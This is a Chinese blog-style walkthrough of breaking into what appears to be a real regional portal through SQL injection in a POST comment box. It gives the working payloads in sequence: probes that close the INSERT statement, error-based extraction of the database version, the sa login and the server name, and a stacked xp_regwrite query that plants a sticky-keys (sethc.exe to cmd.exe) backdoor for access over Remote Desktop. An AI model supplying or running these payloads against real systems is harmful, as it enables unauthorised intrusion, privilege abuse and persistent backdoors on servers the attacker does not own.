大家经常测试注入大多只看了get提交的链接,post方式提交的数据的可能同我一样懒得抓包去测试,或许勤奋一点的哥们也会试试cookies注入。今天遇见了一个post提交的文本框insert注入和一朋友提起,他也是了解有点少,于是我发现大家普遍对文本框这些地方进行的注入测试比较贫乏,我这里就简单的说一下关于这个insert注入。
目标站是一个子站比较多的信息港,找了半天主站没有发现注入点,注册一个账户找到了一个上传,可惜上传页面莫名其妙的报错。看了看子站,发现都和主站一样的cms,拿wwwscan扫了扫目录,扫了扫端口发现开了3389和80以及1433,spider爬了会,也没发现可利用的,服务器上再没别的站了。思路陷入僵局?c段?就在这时顺手在评论出提交了1’);--如图1。

一次文本框Insert注入刺探

好样的,报错了。如图2
 

\

由此这应该是一个insert注入点。先看看关于insert语句语法。

INSERT INTO 语句用于向表格中插入新的行,也可以指定所要插入数据的列。语法是
INSERT INTO 表名称 (列1, 列2,...) VALUES (值1, 值2,....)

于是我们继续在文本框处输入闭合语句测试。当提交到

1,null,null,null,null,null);--

时,提交不再报错,提交成功了。我们来提交注入语句。

1,cast(@@version as int),null,null,null,null);--

如图3 返回信息
 

\

爆得数据库版本信息Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)。
我们再提交

1,cast(system_user as int),null,null,null,null);--

返回如图4得到权限为sa,
 

\

提交

1,cast(@@servername+|+host_name() as int),null,null,null,null);--

返回将 nvarchar 值 YOZI|YOZI 转换为数据类型为 int 的列时发生语法错误。说明站库没有分离。如图5
 

一次文本框Insert注入刺探

收集这些信息差不多了。

既然是sa权限就足够大了,这里提一种sa权限映像劫持的方法,用了mssql的xp_regwrite 扩展存储,我们提交如下

1,null,null,null,null,null);exec master..xp_regwrite HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindows NTCu
rrentVersionImage File Execution Optionssethc.exe,debugger,REG_sz,c:windowssystem32c
md.exe on;--

提交以后返回正常,我们链接服务器3389,按5下shift,如图6

一次文本框Insert注入刺探